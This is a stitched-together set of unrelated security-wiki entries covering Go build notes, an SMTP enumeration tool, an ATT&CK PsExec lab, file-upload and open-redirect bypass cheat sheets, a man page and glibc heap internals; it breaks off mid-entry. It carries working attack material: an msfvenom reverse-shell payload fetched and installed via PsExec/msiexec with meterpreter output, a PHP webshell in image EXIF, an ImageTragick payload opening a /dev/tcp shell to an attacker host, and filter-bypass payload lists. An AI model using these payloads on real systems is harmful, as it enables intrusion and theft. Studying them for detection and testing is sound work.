``` Mac 下编译 Linux 和 Windows平台 64位 可执行程序: ```bash CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build ``` Linux 下编译 Mac 和 Windows 平台64位可执行程序: ```bash CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build ``` --- ## 一些项目 **图形化** - [fyne](https://github.com/fyne-io/fyne) - web框架 **网络操作** - [caucy/batch_ping](https://github.com/caucy/batch_ping) - 多主机 ping - [hdm/nextnet](https://github.com/hdm/nextnet) - 专门扫描 137 端口存活主机 **系统信息** - [gopsutil](https://github.com/shirou/gopsutil) - [wmi](https://github.com/StackExchange/wmi) **web** - [gin](https://github.com/gin-gonic/gin) **Crypto** - [tjfoc/gmsm: GM SM2/3/4 library based on Golang (基于Go语言的国密SM2/SM3/SM4算法库)](https://github.com/tjfoc/gmsm) **通知** - [notify](https://github.com/nikoksr/notify) **telegram bot** - [telebot](https://github.com/tucnak/telebot) - [telegram-bot-api](https://github.com/go-telegram-bot-api/telegram-bot-api) **配置** - [go-ini/ini](https://github.com/go-ini/ini) - 在Go中提供了ini文件的读写功能 **花里胡哨** - [gookit/color](https://github.com/gookit/color) - 给终端输出加颜色 - https://github.com/fatih/color - Color package for Go (golang) **格式化** - [tidwall/gjson](https://github.com/tidwall/gjson) - Get JSON values quickly - JSON parser for Go **反虚拟机** - https://github.com/p3tr0v/chacal **语言** - [mozillazg/go-pinyin](https://github.com/mozillazg/go-pinyin) - 汉字转拼音
sec-knowleage
--- title: iSMTP categories: Information Gathering tags: [recon,smtp,sniffing,spoofing,information gathering,kali linux,ismtp] date: 2017-04-23 09:13:00 --- 0x00 介绍 ------- 测试SMTP用户枚举(RCPT TO和VRFY),内部欺骗和转发。 <!--more--> [主页][1] | [仓库][2] - 作者:Alton Johnson - 证书:GPLv2 0x01 功能 ismtp - SMTP用户枚举和测试工具 ------- ```plain root@kali:~# ismtp --------------------------------------------------------------------- iSMTP v1.6 - SMTP Server Tester, Alton Johnson (alton.jx@gmail.com) --------------------------------------------------------------------- 用法: ./iSMTP.py <选项> 必需: -f <import file> 导入用于测试的SMTP服务器列表(不能同时使用'-h') -h <host> 目标IP和端口(格式 IP:port)(不能同时使用'-f') 欺骗: -i <isa email> 互联网安全加速(Internet Security and Acceleration,ISA)电子邮件地址。 -s <sndr email> 发件人电子邮件地址。 -r <rcpt email> 收件人电子邮件地址。 --sr <email> 指定发件人和收件人电子邮件地址。 -S <sndr name> 发件人姓名。 -R <rcpt name> 收件人姓名。 --SR <name> 指定发件人和收件人姓名。 -m 启用S​​MTP欺骗测试。 -a 附带欺骗邮件的.txt附件。 SMTP枚举: -e <file> 启用S​​MTP用户枚举测试并导入电子邮件列表。 -l <1|2|3> 指定枚举类型(1 = VRFY, 2 = RCPT TO, 3 = all).(默认第3种) SMTP转发: -i <isa email> 互联网安全加速(Internet Security and Acceleration,ISA)电子邮件地址。 -x 启用S​​MTP外部转发测试。 其他: -t <secs> 超时值(Default is 10.) -o 创建“ismtp-results”目录并将输出写入到ismtp-results/smtp_<service>_<ip>(port).txt 注意:支持任何选项的组合(例如枚举,转发,两者组合,所有组合等)。 ``` 0x02 示例 ------- Test a list of IPs from a file (-f smtp-ips.txt) enumerating usernames from a dictionary file (-e /usr/share/wordlists/metasploit/unix_users.txt): 从一个IP列表文件(-f smtp-ips.txt)中枚举来自字典文件(-e /usr/share/wordlists/metasploit/unix_users.txt)的用户: ```plain root@kali:~# ismtp -f smtp-ips.txt -e /usr/share/wordlists/metasploit/unix_users.txt --------------------------------------------------------------------- iSMTP v1.6 - SMTP Server Tester, Alton Johnson (alton.jx@gmail.com) --------------------------------------------------------------------- Testing SMTP server [user enumeration]: 192.168.1.25:25 Emails provided for testing: 109 Performing SMTP VRFY test... [-] 4Dgifts ------------- [ invalid ] [-] EZsetup ------------- [ invalid ] [+] ROOT ---------------- [ success ] [+] adm ----------------- [ success ] ``` [1]: https://github.com/altjx/ipwn/ [2]: http://git.kali.org/gitweb/?p=packages/ismtp.git;a=summary
sec-knowleage
# T1021-002-win-基于白名单PsExec执行payload ## 来自ATT&CK的描述 攻击者可以使用服务器帐户阻止(SMB)使用有效帐户与远程网络共享进行交互。然后,攻击者可以以登录用户的身份执行操作。 SMB是同一网络或域上Windows计算机的文件,打印机和串行端口共享协议。攻击者可以使用SMB与文件共享进行交互,从而允许他们在整个网络中横向移动。SMB的Linux和macOS实现通常使用Samba。 Windows系统具有隐藏的网络共享,只有管理员才能访问它们,并提供了远程文件复制和其他管理功能。例如网络共享包括C$,ADMIN$,和IPC$。攻击者可以将此技术与管理员级别的有效帐户结合使用,以通过SMB远程访问网络系统;使用远程过程调用(RPC)与系统进行交互;传输文件;以及通过远程执行来运行传输的二进制文件。依赖于SMB/RPC上经过身份验证的会话的示例执行技术为计划任务/作业,服务执行和Windows管理规范。攻击者还可以使用NTLM哈希访问具有散列,特定配置和补丁程序级别的系统上的管理员共享。 ## 测试案例 微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。 微软官方文档: <https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec> 说明:PsExec.exe没有默认安装在windows系统。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:win7(sysmon日志) ### 攻击分析 #### 配置MSF ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > exploit ``` #### 生成payload ```bash msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f msi > shellcode.msi ``` #### 靶机执行 注意:需要管理员权限 ```dos PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi ``` #### 反弹shell ```bash msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49371) at 2020-04-18 23:09:44 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > getpid Current pid: 2352 ``` ## 测试留痕 ```log windows 安全日志 EventID: 4688 进程信息: 新进程 ID: 0xe84 新进程名: C:\Users\12306Br0\Desktop\PSTools\PsExec.exe EventID: 4688 进程信息: 新进程 ID: 0xfcc 新进程名: C:\Windows\PSEXESVC.exe EVentID:5140 网络信息: 对象类型: File 源地址: fe80::719e:d312:648f:4884 源端口: 49369 共享信息: 共享名: \\*\IPC$ EventID:5145 网络信息: 对象类型: File 源地址: fe80::719e:d312:648f:4884 源端口: 49369 共享信息: 共享名称: \\*\IPC$ 共享路径: 相对目标名称: PSEXESVC SYSMON日志 EventID:1 Process Create: RuleName: UtcTime: 2020-04-18 15:09:29.237 ProcessGuid: {bb1f7c32-1829-5e9b-0000-00107a844001} ProcessId: 3716 Image: C:\Users\12306Br0\Desktop\PSTools\PsExec.exe FileVersion: 2.2 Description: Execute processes remotely Product: Sysinternals PsExec Company: Sysinternals - www.sysinternals.com OriginalFileName: psexec.c CommandLine: PsExec.exe -d -s msiexec.exe /q /i http://192.168.126.146/shellcode.msi CurrentDirectory: C:\Users\12306Br0\Desktop\PSTools\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-0020eae10600} LogonId: 0x6e1ea TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=E50D9E3BD91908E13A26B3E23EDEAF577FB3A095 ParentProcessGuid: {bb1f7c32-1806-5e9b-0000-001070474001} ParentProcessId: 3492 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" EventID:1 Process Create: RuleName: UtcTime: 2020-04-18 15:09:29.284 ProcessGuid: {bb1f7c32-1829-5e9b-0000-00108c864001} ProcessId: 4044 Image: C:\Windows\PSEXESVC.exe FileVersion: 2.2 Description: PsExec Service Product: Sysinternals PsExec Company: Sysinternals OriginalFileName: psexesvc.exe CommandLine: C:\Windows\PSEXESVC.exe CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {bb1f7c32-a6a0-5e60-0000-0020e7030000} LogonId: 0x3e7 TerminalSessionId: 0 IntegrityLevel: System Hashes: SHA1=A17C21B909C56D93D978014E63FB06926EAEA8E7 ParentProcessGuid: {bb1f7c32-a6a0-5e60-0000-001025ae0000} ParentProcessId: 496 ParentImage: C:\Windows\System32\services.exe ParentCommandLine: C:\Windows\system32\services.exe EventID:1 Process Create: RuleName: UtcTime: 2020-04-18 15:09:29.440 ProcessGuid: {bb1f7c32-1829-5e9b-0000-00103c894001} ProcessId: 1916 Image: C:\Windows\System32\msiexec.exe FileVersion: 5.0.7601.17514 (win7sp1_rtm.101119-1850) Description: Windows® installer Product: Windows Installer - Unicode Company: Microsoft Corporation OriginalFileName: msiexec.exe CommandLine: "msiexec.exe" /q /i http://192.168.126.146/shellcode.msi CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {bb1f7c32-a6a0-5e60-0000-0020e7030000} LogonId: 0x3e7 TerminalSessionId: 0 IntegrityLevel: System Hashes: SHA1=443AAC22D57EDD4EF893E2A245B356CBA5B2C2DD ParentProcessGuid: {bb1f7c32-1829-5e9b-0000-00108c864001} ParentProcessId: 4044 ParentImage: C:\Windows\PSEXESVC.exe ParentCommandLine: C:\Windows\PSEXESVC.exe ``` 由于sysmon配置问题,只对进程创建行为进行监控 ## 检测规则/思路 无具体检测规则,可根据PsExec特征进行检测。 ## 参考推荐 MITRE-ATT&CK-T1021-002 <https://attack.mitre.org/techniques/T1021/002/> 基于白名单PsExec执行payload <https://blog.csdn.net/ws13129/article/details/89879771>
sec-knowleage
# Upload Insecure Files > Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. ## Summary * [Tools](#tools) * [Exploits](#exploits) * [Defaults extensions](#defaults-extensions) * [Upload tricks](#upload-tricks) * [Filename vulnerabilities](#filename-vulnerabilities) * [Picture compression](#picture-compression-) * [Configuration Files](#configuration-files) * [CVE - ImageMagick](#cve---imagemagick) * [CVE - FFMpeg](#cve---ffmpeg) * [ZIP Archive](#zip-archive) * [Jetty RCE](#jetty-rce) * [References](#references) ## Tools - [Fuxploider](https://github.com/almandin/fuxploider) - [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) ## Exploits ### Defaults extensions * PHP Server ```powershell .php .php3 .php4 .php5 .php7 # Less known PHP extensions .pht .phps .phar .phpt .pgif .phtml .phtm .inc ``` * ASP Server ```powershell .asp .aspx .config .cer and .asa # (IIS <= 7.5) shell.aspx;1.jpg # (IIS < 7.0) shell.soap ``` * JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions` * Perl: `.pl, .pm, .cgi, .lib` * Coldfusion: `.cfm, .cfml, .cfc, .dbm` * Node.js: `.js, .json, .node` ### Upload tricks - Use double extensions : `.jpg.php, .png.php5` - Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` - Random uppercase and lowercase : `.pHp, .pHP5, .PhAr` - Null byte (works well against `pathinfo()`) * `.php%00.gif` * `.php\x00.gif` * `.php%00.png` * `.php\x00.png` * `.php%00.jpg` * `.php\x00.jpg` - Special characters * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed. * Whitespace and new line characters * `file.php%20` * `file.php%0d%0a.jpg` * `file.php%0a` * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`. * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp` * Multiple special characters: `file.jsp/././././.` - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` * `Content-Type : image/gif` * `Content-Type : image/png` * `Content-Type : image/jpeg` * Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) * Set the Content-Type twice: once for unallowed type and once for allowed. - [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[` * JPG: `\xff\xd8\xff` * GIF: `GIF87a` OR `GIF8;` * Shell can also be added in the metadata - Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`") ### Filename vulnerabilities Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename. - Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension` - LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd` - XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension` - File Traversal e.g. `../../../tmp/lol.png` - Command Injection e.g. `; sleep 10;` Also you upload: - HTML/SVG files to trigger an XSS - EICAR file to check the presence of an antivirus ### Picture Compression Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. - Picture Metadata, hide the payload inside a comment tag in the metadata. - Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. - [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py - [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php - [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php ### Picture with custom metadata Create a custom picture and insert exif tag with `exiftool`. A list of multiple exif tags can be found at [exiv2.org](https://exiv2.org/tags.html) ```ps1 convert -size 110x110 xc:white payload.jpg exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg ``` ### Configuration Files If you are trying to upload files to a : - PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code. - ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code. - uWSGI server, take a look at the [uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini) trick to execute code. Configuration files examples - [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) - [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) - [httpd.conf](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf) - [\_\_init\_\_.py](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Python%20__init__.py) - [uwsgi.ini](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20uwsgi.ini/uwsgi.ini) Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file. - package.json ```js "scripts": { "prepare" : "/bin/touch /tmp/pwned.txt" } ``` - composer.json ```js "scripts": { "pre-command-run" : [ "/bin/touch /tmp/pwned.txt" ] } ``` ### CVE - ImageMagick If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik. * ImageTragik example: Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1) ```powershell push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` More payloads in the folder `Picture ImageMagick` ### CVE - FFMpeg FFmpeg HLS vulnerability ### ZIP archive When a ZIP/archive file is automatically decompressed after the upload * Zip Slip: directory traversal to write a file somewhere else ```python python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` ### Jetty RCE Upload the XML file to `$JETTY_BASE/webapps/` * [JettyShell.xml - From Mikhail Klyuchnikov](https://raw.githubusercontent.com/Mike-n1/tips/main/JettyShell.xml) ## Labs * [Portswigger Labs on File Uploads](https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities) ## References * [Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l) * [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/) * [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/) * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) * [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) * [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap) * [Arbitrary File Upload Tricks In Java - pyn3rd](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/) * [File Upload - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload) * [Injection points in popular image formats - Daniel Kalinowski‌‌ - Nov 8, 2019](https://blog.isec.pl/injection-points-in-popular-image-formats/) * [A tip for getting RCE in Jetty apps with just one XML file! - Aug 4, 2022 - PT SWARM / @ptswarm](https://twitter.com/ptswarm/status/1555184661751648256/) * [Jetty Features for Hacking Web Apps - September 15, 2022 - Mikhail Klyuchnikov](https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/) * [Inyección de código en imágenes subidas y tratadas con PHP-GD - Spanish Resource - hackplayers](https://www.hackplayers.com/2020/03/inyeccion-de-codigo-en-imagenes-php-gd.html) * [A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
sec-knowleage
# 黑灰产舆情监控 - 思路一:监测黑产市场和群组信息——>黑产CDN服务使用动向——>监测全网该CDN服务的Passive DNS——>CA、DNS、IP、关键词的关联分析 ## 论坛网站 黑灰产参与者常活跃的论坛类型有: - 暗网市场、论坛 - 各类黑客技术交流网站 - 黑灰产项目网站,例如菠*圈、[黑产知乎](https://www.zhihu99.com/forum-36-1.html)等 - 华人论坛,例如菲*华社区 值得注意的是,在进行论坛、社交媒体数据采集时,我们需要考虑这些论坛的访问、使用技术难度,结合黑灰产的上、中、下游分布。
sec-knowleage
.TH IMAPD 8 "October 12, 1998" .UC 5 .SH NAME IMAPd \- Internet 邮件存取协议服务器 .SH 总览 .B /usr/etc/imapd .SH 描述 .I imapd 是个支持 .B IMAP4rev1 远程邮件存取协议(由RFC2060定义)的服务器。 .I imapd 是由internet服务器(参见 .IR inetd (8) )来调用的, 正常情况下监听对 .B IMAP 端口的连接请求,该端口在 .I /etc/services 文件(参见 .IR services (5)). )中定义。通常它是143。 .PP .I imapd 也可以由很多基于Unix平台的客户端通过 .IR rsh (1C) 进行访问。为此, .I imapd 程序必须具有一个到 .I /etc/rimapd 的链接,因为这是系统认为该软件所在的地方。 .SH "又见" rsh(1C) ipopd(8C) .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2001/05/01 .SH 《中国Linux论坛man手册页翻译计划》: .B http://cmpp.linuxforum.net
sec-knowleage
### unlink概述 unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用 - malloc - 从恰好大小合适的 large bin 中获取 chunk。 - **这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。** - 依次遍历处理 unsorted bin 时也没有使用 unlink 。 - 从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。 - free - 后向合并,合并物理相邻低地址空闲 chunk。 - 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。 - malloc_consolidate - 后向合并,合并物理相邻低地址空闲 chunk。 - 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。 - realloc - 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。 由于 unlink 使用非常频繁,所以 unlink 被实现为了一个宏,如下 ```c /* Take a chunk off a bin list */ // unlink p #define unlink(AV, P, BK, FD) { \ // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ // 下面主要考虑 P 对应的 nextsize 双向链表的修改 if (!in_smallbin_range (chunksize_nomask (P)) \ // 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。 // 那么其实也就没有必要对 nextsize 字段进行修改了。 // 这里没有去判断 bk_nextsize 字段,可能会出问题。 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ // 类似于小的 chunk 的检查思路 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ // 这里说明 P 已经在 nextsize 链表中了。 // 如果 FD 没有在 nextsize 链表中 if (FD->fd_nextsize == NULL) { \ // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P // 令 FD 为 nextsize 串起来的 if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ // 否则我们需要将 FD 插入到 nextsize 形成的双链表中 FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ // 如果在的话,直接拿走即可 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ } ``` 这里我们以 small bin 的 unlink 为例子介绍一下。对于 large bin 的 unlink,与其类似,只是多了一个nextsize 的处理。 可以看出, **P 最后的 fd 和 bk 指针并没有发生变化**,但是当我们去遍历整个双向链表时,已经遍历不到对应的链表了。这一点没有变化还是很有用处的,因为我们有时候可以使用这个方法来泄漏地址 - libc 地址 - P 位于双向链表头部,bk 泄漏 - P 位于双向链表尾部,fd 泄漏 - 双向链表只包含一个空闲 chunk 时,P 位于双向链表中,fd 和 bk 均可以泄漏 - 泄漏堆地址,双向链表包含多个空闲 chunk - P 位于双向链表头部,fd 泄漏 - P 位于双向链表中,fd 和 bk 均可以泄漏 - P 位于双向链表尾部,bk 泄漏 **注意** - 这里的头部指的是 bin 的 fd 指向的 chunk,即双向链表中最新加入的 chunk。 - 这里的尾部指的是 bin 的 bk 指向的 chunk,即双向链表中最先加入的 chunk。 同时,无论是对于 fd,bk 还是 fd_nextsize ,bk_nextsize,程序都会检测 fd 和 bk 是否满足对应的要求。 ```c // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // next_size related if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); ``` 看起来似乎很正常。我们以 fd 和 bk 为例,P 的 forward chunk 的 bk 很自然是 P ,同样 P 的 backward chunk 的 fd 也很自然是 P 。如果没有做相应的检查的话,我们可以修改 P 的 fd 与 bk,从而可以很容易地达到任意地址写的效果。关于更加详细的例子,可以参见利用部分的 unlink 。 **注意:堆的第一个 chunk 所记录的 prev_inuse 位默认为1。** ### malloc_printerr介绍 在 glibc malloc 时检测到错误的时候,会调用 `malloc_printerr` 函数。 ```cpp static void malloc_printerr(const char *str) { __libc_message(do_abort, "%s\n", str); __builtin_unreachable(); } ``` 主要会调用 `__libc_message` 来执行`abort` 函数,如下 ```c if ((action & do_abort)) { if ((action & do_backtrace)) BEFORE_ABORT(do_abort, written, fd); /* Kill the application. */ abort(); } ``` 在`abort` 函数里,在 glibc 还是2.23 版本时,会 fflush stream。 ```c /* Flush all streams. We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage; fflush (NULL); } ```
sec-knowleage
# Open URL Redirection > Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. ## Summary - [Open URL Redirection](#open-url-redirection) - [Summary](#summary) - [Exploitation](#exploitation) - [HTTP Redirection Status Code - 3xx](#http-redirection-status-code---3xx) - [Fuzzing](#fuzzing) - [Filter Bypass](#filter-bypass) - [Common injection parameters](#common-injection-parameters) - [References](#references) ## Exploitation Let’s say there’s a `well known` website - https://famous-website.tld/. And let's assume that there's a link like : ```powershell https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account ``` After signing up you get redirected to your account, this redirection is specified by the `redirectUrl` parameter in the URL. What happens if we change the `famous-website.tld/account` to `evil-website.tld`? ```powershell https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account ``` By visiting this url, if we get redirected to `evil-website.tld` after the sign-up, we have an Open Redirect vulnerability. This can be abused by an attacker to display a phishing page asking you to enter your credentials. ## HTTP Redirection Status Code - 3xx - [300 Multiple Choices](https://httpstatuses.com/300) - [301 Moved Permanently](https://httpstatuses.com/301) - [302 Found](https://httpstatuses.com/302) - [303 See Other](https://httpstatuses.com/303) - [304 Not Modified](https://httpstatuses.com/304) - [305 Use Proxy](https://httpstatuses.com/305) - [307 Temporary Redirect](https://httpstatuses.com/307) - [308 Permanent Redirect](https://httpstatuses.com/308) ## Fuzzing Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL. ```powershell WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt ``` ## Filter Bypass Using a whitelisted domain or keyword ```powershell www.whitelisted.com.evil.com redirect to evil.com ``` Using CRLF to bypass "javascript" blacklisted keyword ```powershell java%0d%0ascript%0d%0a:alert(0) ``` Using "//" & "////" to bypass "http" blacklisted keyword ```powershell //google.com ////google.com ``` Using "https:" to bypass "//" blacklisted keyword ```powershell https:google.com ``` Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //) ```powershell \/\/google.com/ /\/google.com/ ``` Using "%E3%80%82" to bypass "." blacklisted character ```powershell /?redir=google。com //google%E3%80%82com ``` Using null byte "%00" to bypass blacklist filter ```powershell //google%00.com ``` Using parameter pollution ```powershell ?next=whitelisted.com&next=google.com ``` Using "@" character, browser will redirect to anything after the "@" ```powershell http://www.theirsite.com@yoursite.com/ ``` Creating folder as their domain ```powershell http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` Using "?" characted, browser will translate it to "/?" ```powershell http://www.yoursite.com?http://www.theirsite.com/ http://www.yoursite.com?folder/www.folder.com ``` Host/Split Unicode Normalization ```powershell https://evil.c℀.example.com . ---> https://evil.ca/c.example.com 